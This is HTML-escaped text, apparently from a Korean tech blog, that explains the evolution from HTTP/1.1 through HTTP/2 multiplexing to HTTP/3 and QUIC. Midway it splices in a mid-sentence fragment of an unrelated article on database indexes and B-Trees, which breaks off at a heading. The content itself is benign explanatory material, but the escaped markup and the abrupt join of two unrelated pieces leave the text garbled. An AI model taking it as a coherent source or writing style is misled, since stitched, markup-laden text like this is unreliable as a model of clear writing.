/&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;HTTP/2&amp;nbsp;멀티플렉싱:&amp;nbsp;하나의&amp;nbsp;파이프에&amp;nbsp;여러&amp;nbsp;파일&amp;nbsp;조각이&amp;nbsp;뒤섞여&amp;nbsp;통과&amp;nbsp;] &lt;br /&gt;&lt;br /&gt;서버&amp;nbsp;──────[HTML&amp;nbsp;조각][CSS&amp;nbsp;조각][IMG&amp;nbsp;조각][JS&amp;nbsp;조각][IMG&amp;nbsp;조각]──────&amp;gt;&amp;nbsp;브라우저 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(스트림&amp;nbsp;1)&amp;nbsp;&amp;nbsp;(스트림&amp;nbsp;2)&amp;nbsp;(스트림&amp;nbsp;3)(스트림&amp;nbsp;4) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**순서가&amp;nbsp;필요&amp;nbsp;없음**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;용량이&amp;nbsp;큰&amp;nbsp;영상&amp;nbsp;조각&amp;nbsp;사이사이에&amp;nbsp;작은&amp;nbsp;CSS&amp;nbsp;조각과&amp;nbsp;자바스크립트&amp;nbsp;조각들을&amp;nbsp;함께&amp;nbsp;끼워&amp;nbsp;넣어&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;파이프(TCP&amp;nbsp;커넥션)로&amp;nbsp;동시에&amp;nbsp;쏟아붓습니다. &lt;br /&gt;*&amp;nbsp;**조립의&amp;nbsp;미학**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;브라우저는&amp;nbsp;각&amp;nbsp;조각에&amp;nbsp;붙어있는&amp;nbsp;번호표(Stream&amp;nbsp;ID)를&amp;nbsp;보고&amp;nbsp;도착하는&amp;nbsp;대로&amp;nbsp;알아서&amp;nbsp;원래&amp;nbsp;파일로&amp;nbsp;번개처럼&amp;nbsp;재조립합니다. &lt;br /&gt;*&amp;nbsp;**헤더&amp;nbsp;압축(HPACK)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;매&amp;nbsp;요청마다&amp;nbsp;중복해서&amp;nbsp;보내던&amp;nbsp;길고&amp;nbsp;무거운&amp;nbsp;쿠키,&amp;nbsp;유저에이전트&amp;nbsp;헤더&amp;nbsp;정보를&amp;nbsp;'HPACK'&amp;nbsp;알고리즘으로&amp;nbsp;압축하여&amp;nbsp;데이터&amp;nbsp;낭비를&amp;nbsp;80%&amp;nbsp;이상&amp;nbsp;줄였습니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;멀티플렉싱&amp;nbsp;덕분에&amp;nbsp;웹페이지의&amp;nbsp;100개&amp;nbsp;파일이&amp;nbsp;동시에&amp;nbsp;쏟아져&amp;nbsp;들어오며,&amp;nbsp;로딩&amp;nbsp;속도가&amp;nbsp;2~3배&amp;nbsp;이상&amp;nbsp;획기적으로&amp;nbsp;향상되었습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;하지만&amp;nbsp;남아있던&amp;nbsp;마지막&amp;nbsp;복병:&amp;nbsp;'TCP&amp;nbsp;계층의&amp;nbsp;HOL&amp;nbsp;블로킹' &lt;br /&gt;&lt;br /&gt;HTTP/2로&amp;nbsp;모든&amp;nbsp;문제가&amp;nbsp;끝난&amp;nbsp;줄&amp;nbsp;알았지만,&amp;nbsp;얼마&amp;nbsp;지나지&amp;nbsp;않아&amp;nbsp;더&amp;nbsp;깊은&amp;nbsp;바닥(전송&amp;nbsp;계층)에&amp;nbsp;숨겨진&amp;nbsp;또&amp;nbsp;다른&amp;nbsp;병목이&amp;nbsp;발견되었습니다.&amp;nbsp;바로&amp;nbsp;50년&amp;nbsp;전&amp;nbsp;설계된&amp;nbsp;**TCP(Transmission&amp;nbsp;Control&amp;nbsp;Protocol)**&amp;nbsp;프로토콜&amp;nbsp;자체의&amp;nbsp;결벽증이었습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;TCP의&amp;nbsp;엄격한&amp;nbsp;패킷&amp;nbsp;무결성&amp;nbsp;규칙&amp;nbsp;] &lt;br /&gt;데이터&amp;nbsp;조각:&amp;nbsp;[패킷&amp;nbsp;1]&amp;nbsp;&amp;nbsp;[패킷&amp;nbsp;2&amp;nbsp;(유실!❌)]&amp;nbsp;&amp;nbsp;[패킷&amp;nbsp;3]&amp;nbsp;&amp;nbsp;[패킷&amp;nbsp;4] &lt;br /&gt;&lt;br /&gt;TCP:&amp;nbsp;&quot;잠깐&amp;nbsp;멈춰!&amp;nbsp;2번&amp;nbsp;패킷이&amp;nbsp;도중에&amp;nbsp;사라졌다! &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2번을&amp;nbsp;다시&amp;nbsp;재전송받아서&amp;nbsp;완벽하게&amp;nbsp;메꿀&amp;nbsp;때까지, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;이미&amp;nbsp;정상&amp;nbsp;도착한&amp;nbsp;3번,&amp;nbsp;4번&amp;nbsp;패킷도&amp;nbsp;절대&amp;nbsp;상위&amp;nbsp;앱(브라우저)에&amp;nbsp;넘겨주지&amp;nbsp;마라!&quot; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;TCP는&amp;nbsp;신뢰성을&amp;nbsp;목숨처럼&amp;nbsp;여기기&amp;nbsp;때문에,&amp;nbsp;중간에&amp;nbsp;패킷이&amp;nbsp;단&amp;nbsp;1개라도&amp;nbsp;손실되면&amp;nbsp;그&amp;nbsp;패킷을&amp;nbsp;재전송받아&amp;nbsp;채울&amp;nbsp;때까지&amp;nbsp;뒤따라온&amp;nbsp;모든&amp;nbsp;정상&amp;nbsp;패킷의&amp;nbsp;처리를&amp;nbsp;강제로&amp;nbsp;중단시킵니다. &lt;br /&gt;&lt;br /&gt;무선&amp;nbsp;와이파이나&amp;nbsp;지하철&amp;nbsp;4G/5G처럼&amp;nbsp;전파가&amp;nbsp;튀어&amp;nbsp;패킷&amp;nbsp;손실이&amp;nbsp;자주&amp;nbsp;일어나는&amp;nbsp;모바일&amp;nbsp;환경에서는,&amp;nbsp;이&amp;nbsp;TCP&amp;nbsp;병목&amp;nbsp;때문에&amp;nbsp;HTTP/2의&amp;nbsp;멀티플렉싱마저&amp;nbsp;전체가&amp;nbsp;얼어붙는&amp;nbsp;현상이&amp;nbsp;발생한&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚡&amp;nbsp;4.&amp;nbsp;HTTP/3의&amp;nbsp;파천황:&amp;nbsp;TCP를&amp;nbsp;버리고&amp;nbsp;UDP를&amp;nbsp;택한&amp;nbsp;'QUIC' &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;문제를&amp;nbsp;해결하기&amp;nbsp;위해&amp;nbsp;구글은&amp;nbsp;아무도&amp;nbsp;감히&amp;nbsp;시도하지&amp;nbsp;못했던&amp;nbsp;파격적인&amp;nbsp;결단을&amp;nbsp;내립니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;수십&amp;nbsp;년간&amp;nbsp;써온&amp;nbsp;느리고&amp;nbsp;융통성&amp;nbsp;없는&amp;nbsp;TCP를&amp;nbsp;버리자.&amp;nbsp;대신&amp;nbsp;가장&amp;nbsp;가볍고&amp;nbsp;제약이&amp;nbsp;없는&amp;nbsp;UDP&amp;nbsp;위에&amp;nbsp;우리가&amp;nbsp;직접&amp;nbsp;신뢰성과&amp;nbsp;암호화를&amp;nbsp;갖춘&amp;nbsp;차세대&amp;nbsp;엔진을&amp;nbsp;얹자!&quot;** &lt;br /&gt;&lt;br /&gt;이렇게&amp;nbsp;탄생한&amp;nbsp;것이&amp;nbsp;바로&amp;nbsp;**QUIC(Quick&amp;nbsp;UDP&amp;nbsp;Internet&amp;nbsp;Connections)**&amp;nbsp;엔진이며,&amp;nbsp;이를&amp;nbsp;공식&amp;nbsp;표준화한&amp;nbsp;것이&amp;nbsp;최신&amp;nbsp;웹의&amp;nbsp;종결자&amp;nbsp;**HTTP/3**입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;+-----------------------------------+-----------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/2&amp;nbsp;계층&amp;nbsp;구조&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/3&amp;nbsp;계층&amp;nbsp;구조&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+-----------------------------------+-----------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TLS&amp;nbsp;1.2/1.3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QUIC&amp;nbsp;(신뢰성+보안&amp;nbsp;내장)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UDP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+-----------------------------------+-----------------------------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;1)&amp;nbsp;진정한&amp;nbsp;스트림&amp;nbsp;독립성&amp;nbsp;(TCP&amp;nbsp;HOL&amp;nbsp;블로킹&amp;nbsp;영구&amp;nbsp;퇴출) &lt;br /&gt;HTTP/3(QUIC)에서는&amp;nbsp;1번&amp;nbsp;이미지의&amp;nbsp;패킷이&amp;nbsp;전송&amp;nbsp;중에&amp;nbsp;분실되더라도,&amp;nbsp;상관없는&amp;nbsp;2번&amp;nbsp;CSS나&amp;nbsp;3번&amp;nbsp;JS는&amp;nbsp;1밀리초도&amp;nbsp;멈추지&amp;nbsp;않고&amp;nbsp;즉시&amp;nbsp;화면에&amp;nbsp;렌더링&amp;nbsp;됩니다.&amp;nbsp;손실된&amp;nbsp;조각만&amp;nbsp;독립적으로&amp;nbsp;재전송받습니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;2)&amp;nbsp;0-RTT&amp;nbsp;핸드셰이크&amp;nbsp;(첫&amp;nbsp;연결부터&amp;nbsp;빛의&amp;nbsp;속도) &lt;br /&gt;과거&amp;nbsp;TCP&amp;nbsp;연결(1&amp;nbsp;RTT)&amp;nbsp;+&amp;nbsp;TLS&amp;nbsp;암호화&amp;nbsp;연결(1~2&amp;nbsp;RTT)로&amp;nbsp;인해&amp;nbsp;서버와&amp;nbsp;본격적인&amp;nbsp;대화를&amp;nbsp;시작하기&amp;nbsp;전부터&amp;nbsp;3~4번의&amp;nbsp;왕복&amp;nbsp;시간(Round&amp;nbsp;Trip&amp;nbsp;Time)이&amp;nbsp;낭비되었습니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;HTTP/3는&amp;nbsp;연결&amp;nbsp;수립과&amp;nbsp;TLS&amp;nbsp;암호화를&amp;nbsp;단&amp;nbsp;한&amp;nbsp;번에&amp;nbsp;끝내며(1-RTT),&amp;nbsp;이전에&amp;nbsp;접속했던&amp;nbsp;사이트라면&amp;nbsp;**왕복&amp;nbsp;시간&amp;nbsp;0초(0-RTT)**&amp;nbsp;만에&amp;nbsp;즉시&amp;nbsp;데이터를&amp;nbsp;전송합니다! &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;3)&amp;nbsp;지하철에서&amp;nbsp;와이파이가&amp;nbsp;끊겨도&amp;nbsp;영상이&amp;nbsp;멈추지&amp;nbsp;않는&amp;nbsp;마법&amp;nbsp;(Connection&amp;nbsp;ID) &lt;br /&gt;과거에는&amp;nbsp;와이파이를&amp;nbsp;쓰다가&amp;nbsp;LTE로&amp;nbsp;전환되면&amp;nbsp;IP&amp;nbsp;주소가&amp;nbsp;바뀌기&amp;nbsp;때문에&amp;nbsp;TCP&amp;nbsp;연결이&amp;nbsp;완전히&amp;nbsp;끊어지고&amp;nbsp;유튜브&amp;nbsp;영상이&amp;nbsp;멈췄습니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;하지만&amp;nbsp;QUIC은&amp;nbsp;IP&amp;nbsp;주소가&amp;nbsp;아닌&amp;nbsp;고유한&amp;nbsp;**연결&amp;nbsp;ID(Connection&amp;nbsp;ID)**로&amp;nbsp;세션을&amp;nbsp;식별하므로,&amp;nbsp;네트워크가&amp;nbsp;바뀌어도&amp;nbsp;다운로드가&amp;nbsp;끊김&amp;nbsp;없이&amp;nbsp;매끄럽게&amp;nbsp;이어집니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;HTTP&amp;nbsp;세대별&amp;nbsp;핵심&amp;nbsp;비교&amp;nbsp;총람 &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;구분&amp;nbsp;|&amp;nbsp;HTTP/1.1&amp;nbsp;|&amp;nbsp;HTTP/2&amp;nbsp;|&amp;nbsp;HTTP/3&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;|&amp;nbsp;:---&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**전송&amp;nbsp;계층**&amp;nbsp;|&amp;nbsp;TCP&amp;nbsp;|&amp;nbsp;TCP&amp;nbsp;|&amp;nbsp;**UDP&amp;nbsp;(QUIC)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**데이터&amp;nbsp;형식**&amp;nbsp;|&amp;nbsp;텍스트(Plain&amp;nbsp;Text)&amp;nbsp;|&amp;nbsp;바이너리&amp;nbsp;프레임&amp;nbsp;|&amp;nbsp;바이너리&amp;nbsp;프레임&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**동시&amp;nbsp;다중화**&amp;nbsp;|&amp;nbsp;불가&amp;nbsp;(6개&amp;nbsp;커넥션&amp;nbsp;꼼수)&amp;nbsp;|&amp;nbsp;**멀티플렉싱&amp;nbsp;(Stream)**&amp;nbsp;|&amp;nbsp;**독립적&amp;nbsp;멀티플렉싱**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**HOL&amp;nbsp;블로킹**&amp;nbsp;|&amp;nbsp;애플리케이션&amp;nbsp;수준&amp;nbsp;발생&amp;nbsp;|&amp;nbsp;전송(TCP)&amp;nbsp;수준&amp;nbsp;발생&amp;nbsp;|&amp;nbsp;**원천&amp;nbsp;박멸&amp;nbsp;(발생&amp;nbsp;안&amp;nbsp;함)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**핸드셰이크&amp;nbsp;지연**|&amp;nbsp;높음&amp;nbsp;(TCP&amp;nbsp;+&amp;nbsp;TLS&amp;nbsp;별도)&amp;nbsp;|&amp;nbsp;보통&amp;nbsp;(TLS&amp;nbsp;통합&amp;nbsp;개선)&amp;nbsp;|&amp;nbsp;**초고속&amp;nbsp;(0-RTT&amp;nbsp;/&amp;nbsp;1-RTT)**&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;**헤더&amp;nbsp;압축**&amp;nbsp;|&amp;nbsp;지원&amp;nbsp;안&amp;nbsp;함&amp;nbsp;|&amp;nbsp;HPACK&amp;nbsp;|&amp;nbsp;**QPACK**&amp;nbsp;| &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**HTTP/1.1**은&amp;nbsp;한&amp;nbsp;번에&amp;nbsp;한&amp;nbsp;파일씩&amp;nbsp;순서대로&amp;nbsp;받아야&amp;nbsp;하는&amp;nbsp;도로&amp;nbsp;병목(HOL&amp;nbsp;블로킹)&amp;nbsp;때문에&amp;nbsp;현대의&amp;nbsp;무거운&amp;nbsp;웹사이트에서&amp;nbsp;속도&amp;nbsp;저하가&amp;nbsp;심했다. &lt;br /&gt;2.&amp;nbsp;**HTTP/2**는&amp;nbsp;데이터를&amp;nbsp;잘게&amp;nbsp;쪼개&amp;nbsp;하나의&amp;nbsp;파이프로&amp;nbsp;동시에&amp;nbsp;주고받는&amp;nbsp;**멀티플렉싱**을&amp;nbsp;도입하여&amp;nbsp;웹&amp;nbsp;속도를&amp;nbsp;극적으로&amp;nbsp;끌어올렸다. &lt;br /&gt;3.&amp;nbsp;**HTTP/3**는&amp;nbsp;TCP의&amp;nbsp;한계를&amp;nbsp;극복하기&amp;nbsp;위해&amp;nbsp;**UDP&amp;nbsp;기반의&amp;nbsp;QUIC**을&amp;nbsp;도입하여&amp;nbsp;패킷&amp;nbsp;손실&amp;nbsp;지연을&amp;nbsp;없애고&amp;nbsp;0-RTT&amp;nbsp;초고속&amp;nbsp;연결을&amp;nbsp;완성했다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;웹&amp;nbsp;브라우저가&amp;nbsp;화면을&amp;nbsp;빠르게&amp;nbsp;띄우기&amp;nbsp;위해&amp;nbsp;통신&amp;nbsp;규격을&amp;nbsp;갈고닦았다면,&amp;nbsp;그&amp;nbsp;요청을&amp;nbsp;받아&amp;nbsp;수억&amp;nbsp;명의&amp;nbsp;데이터를&amp;nbsp;처리하는&amp;nbsp;백엔드&amp;nbsp;서버는&amp;nbsp;어떤&amp;nbsp;구조로&amp;nbsp;진화했을까요? &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;통짜&amp;nbsp;성벽을&amp;nbsp;허물고&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;작은&amp;nbsp;전문&amp;nbsp;점포로&amp;nbsp;나눈&amp;nbsp;현대&amp;nbsp;엔터프라이즈의&amp;nbsp;핵심&amp;nbsp;아키텍처,&amp;nbsp;**[모놀리식&amp;nbsp;vs&amp;nbsp;마이크로서비스(MSA)&amp;nbsp;-&amp;nbsp;배달의민족과&amp;nbsp;넷플릭스는&amp;nbsp;왜&amp;nbsp;시스템을&amp;nbsp;쪼갰을까?]**를&amp;nbsp;생생한&amp;nbsp;비유로&amp;nbsp;정리해&amp;nbsp;드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기며&amp;nbsp;찾는다면&amp;nbsp;책&amp;nbsp;한&amp;nbsp;권을&amp;nbsp;다&amp;nbsp;읽는&amp;nbsp;데&amp;nbsp;며칠&amp;nbsp;밤낮이&amp;nbsp;걸릴&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;우리는&amp;nbsp;그렇게&amp;nbsp;무식하게&amp;nbsp;찾지&amp;nbsp;않습니다.&amp;nbsp;책의&amp;nbsp;맨&amp;nbsp;뒤편에&amp;nbsp;있는&amp;nbsp;**'색인(찾아보기/Index)'**을&amp;nbsp;펼쳐서&amp;nbsp;'ㅅ'&amp;nbsp;항목으로&amp;nbsp;곧장&amp;nbsp;간&amp;nbsp;뒤,&amp;nbsp;&quot;스티브&amp;nbsp;잡스:&amp;nbsp;742페이지&quot;라는&amp;nbsp;글자를&amp;nbsp;보고&amp;nbsp;단&amp;nbsp;3초&amp;nbsp;만에&amp;nbsp;742페이지를&amp;nbsp;펼칩니다. &lt;br /&gt;&lt;br /&gt;데이터베이스에서&amp;nbsp;이&amp;nbsp;색인&amp;nbsp;역할을&amp;nbsp;수행하여&amp;nbsp;수억&amp;nbsp;건의&amp;nbsp;데이터&amp;nbsp;중&amp;nbsp;내가&amp;nbsp;원하는&amp;nbsp;행(Row)을&amp;nbsp;0.001초&amp;nbsp;만에&amp;nbsp;번개처럼&amp;nbsp;찾아내는&amp;nbsp;마법의&amp;nbsp;기술,&amp;nbsp;바로&amp;nbsp;**DB&amp;nbsp;인덱스(Index)**와&amp;nbsp;그&amp;nbsp;중심에&amp;nbsp;있는&amp;nbsp;**B-Tree&amp;nbsp;자료구조**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;풀&amp;nbsp;테이블&amp;nbsp;스캔(Full&amp;nbsp;Scan)&amp;nbsp;vs&amp;nbsp;인덱스&amp;nbsp;스캔(Index&amp;nbsp;Scan) &lt;br /&gt;&lt;br /&gt;데이터베이스가&amp;nbsp;데이터를&amp;nbsp;찾는&amp;nbsp;방식은&amp;nbsp;크게&amp;nbsp;두&amp;nbsp;가지로&amp;nbsp;나뉩니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;1.&amp;nbsp;풀&amp;nbsp;테이블&amp;nbsp;스캔&amp;nbsp;(Full&amp;nbsp;Table&amp;nbsp;Scan):&amp;nbsp;무식한&amp;nbsp;전수조사&amp;nbsp;] &lt;br /&gt;SELECT&amp;nbsp;*&amp;nbsp;FROM&amp;nbsp;users&amp;nbsp;WHERE&amp;nbsp;email&amp;nbsp;=&amp;nbsp;'alex@gmail.com'; &lt;br /&gt;-&amp;nbsp;DB의&amp;nbsp;동작:&amp;nbsp;1번&amp;nbsp;회원부터&amp;nbsp;1,000만&amp;nbsp;번&amp;nbsp;회원까지&amp;nbsp;하드디스크의&amp;nbsp;데이터를&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;처음부터&amp;nbsp;끝까지&amp;nbsp;몽땅&amp;nbsp;메모리로&amp;nbsp;퍼&amp;nbsp;올려서&amp;nbsp;하나하나&amp;nbsp;대조함! &lt;br /&gt;-&amp;nbsp;소요&amp;nbsp;시간:&amp;nbsp;데이터가&amp;nbsp;늘어날수록&amp;nbsp;선형적으로&amp;nbsp;느려짐&amp;nbsp;(O(N)&amp;nbsp;복잡도) &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;2.&amp;nbsp;인덱스&amp;nbsp;스캔&amp;nbsp;(Index&amp;nbsp;Scan):&amp;nbsp;정렬된&amp;nbsp;색인&amp;nbsp;지도&amp;nbsp;조회&amp;nbsp;] &lt;br /&gt;email&amp;nbsp;컬럼에&amp;nbsp;[인덱스(색인)]가&amp;nbsp;걸려있다면? &lt;br /&gt;-&amp;nbsp;DB의&amp;nbsp;동작:&amp;nbsp;알파벳순으로&amp;nbsp;예쁘게&amp;nbsp;정렬된&amp;nbsp;'이메일&amp;nbsp;색인&amp;nbsp;장부'를&amp;nbsp;펼쳐서&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;이진&amp;nbsp;탐색(B-Tree)으로&amp;nbsp;0.001초&amp;nbsp;만에&amp;nbsp;해당&amp;nbsp;위치(주소값)를&amp;nbsp;특정! &lt;br /&gt;-&amp;nbsp;소요&amp;nbsp;시간:&amp;nbsp;데이터가&amp;nbsp;1,000만&amp;nbsp;개여도&amp;nbsp;단&amp;nbsp;20~30번의&amp;nbsp;비교만으로&amp;nbsp;끝남&amp;nbsp;(O(log&amp;nbsp;N)) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**인덱스(Index)의&amp;nbsp;본질**:&amp;nbsp;특정&amp;nbsp;컬럼(예:&amp;nbsp;이메일,&amp;nbsp;주민번호,&amp;nbsp;작성일자)의&amp;nbsp;값과&amp;nbsp;해당&amp;nbsp;행이&amp;nbsp;하드디스크&amp;nbsp;어디에&amp;nbsp;저장되어&amp;nbsp;있는지&amp;nbsp;가리키는&amp;nbsp;**물리적&amp;nbsp;주소(포인터/RID)**를&amp;nbsp;짝지어&amp;nbsp;**미리&amp;nbsp;오름차순으로&amp;nbsp;정렬해&amp;nbsp;둔&amp;nbsp;별도의&amp;nbsp;색인&amp;nbsp;테이블**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; 